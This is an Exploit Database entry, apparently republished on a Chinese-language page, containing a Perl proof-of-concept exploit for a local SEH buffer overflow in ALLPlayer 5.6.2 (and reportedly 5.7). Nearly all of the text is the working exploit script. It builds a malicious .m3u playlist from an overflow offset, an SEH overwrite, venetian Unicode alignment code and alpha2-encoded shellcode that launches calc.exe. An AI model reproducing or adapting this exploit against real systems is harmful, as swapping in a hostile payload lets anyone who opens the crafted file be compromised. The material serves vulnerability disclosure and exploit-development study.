ALLPlayer 5.6.2 – ‘.m3u’ File Local Buffer Overflow (SEH Unicode)

• Exploit Database
• 101 阅读

• 作者： Mike Czumak
  日期： 2013-11-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/29549/

• #!/usr/bin/perl
  
  ###############################################################################
  # Exploit Title: ALLPlayer 5.6.2 (.m3u) - SEH Buffer Overflow (Unicode)
  # Date: 10-22-2013
  # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
  # Vulnerable Software: ALLPlayer 5.6.2 
  # Software Link: http://www.allplayer.org/download/allplayer
  # Version: 5.6.2
  # Tested On: Windows XP SP3
  #
  # Credit to metacom for finding bug and publishing original POC
  # - http://www.exploit-db.com/exploits/28855/ 
  # Shouts to corelanc0d3r and b33f for some great unicode exploit tutorials
  #
  # Due to unicode conversion this is a venetian shellcode exploit
  # To exploit simply open the created m3u file
  ##############################################################################
  # Exploit-DB Note:
  # This also affects version 5.7 of the application
  
  my $buffsize = 5000; # sets buffer size for consistent sized payload
  my $junk = "http://" . "\x41" x 303; # offset to seh
  my $nseh = "\x61\x62"; # overwrite next seh with popad (populates all registers) + nop
  my $seh = "\x11\x4d"; # overwrite seh with unicode friendly pop pop ret
  		# 0x004d0011 : pop ecx # pop ebp # ret| startnull,unicode,ascii {PAGE_EXECUTE_READ} [ALLPlayer.exe] 
  		# ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.6.2.0 (C:\Program Files\ALLPlayer\ALLPlayer.exe)
  
  # unicode venetian alignment
  my $venalign = "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad 
  $venalign = $venalign . "\x71"; # venetian pad/align
  $venalign = $venalign . "\x58"; # pop eax; put ebx into eax and modify to jump to our shellcode (100 bytes)
  $venalign = $venalign . "\x6e"; # venetian pad/align
  $venalign = $venalign . "\x05\x14\x11"; # add eax,0x11011400
  $venalign = $venalign . "\x6e"; # venetian pad/align 
  $venalign = $venalign . "\x2d\x13\x11"; # add eax,0x11011300
  $venalign = $venalign . "\x6e"; # venetian pad/align
  $venalign = $venalign . "\x50"; # push eax
  $venalign = $venalign . "\x6d"; # venetian pad/align
  $venalign = $venalign . "\xc3"; # ret
  
  my $nops = "\x71" x 109; # some unicode friendly filler before the shellcode
  
  # Calc.exe payload
  # msfpayload windows/exec CMD=calc.exe R
  # alpha2 unicode/uppercase
  my $shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZA".
  "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA".
  "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB".
  "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K".
  "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL".
  "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55".
  "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V".
  "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB".
  "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT".
  "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU".
  "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM".
  "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC".
  "QQ2LRCM0LJA";
   
  my $sploit = $junk.$nseh.$seh.$venalign.$nops.$shell; # assemble the exploit portion of the buffer
  my $fill = "\x71" x ($buffsize - length($sploit)); # fill remainder of buffer with junk
  my $buffer = $sploit.$fill; # assemble the final buffer
  
  # write the exploit buffer to file
  my $file = "allplayer_unicodeseh.m3u";
  open(FILE, ">$file");
  print FILE $buffer;
  close(FILE);
  print "Exploit file [" . $file . "] created\n";
  print "Buffer size: " . length($buffer) . "\n"; 
  

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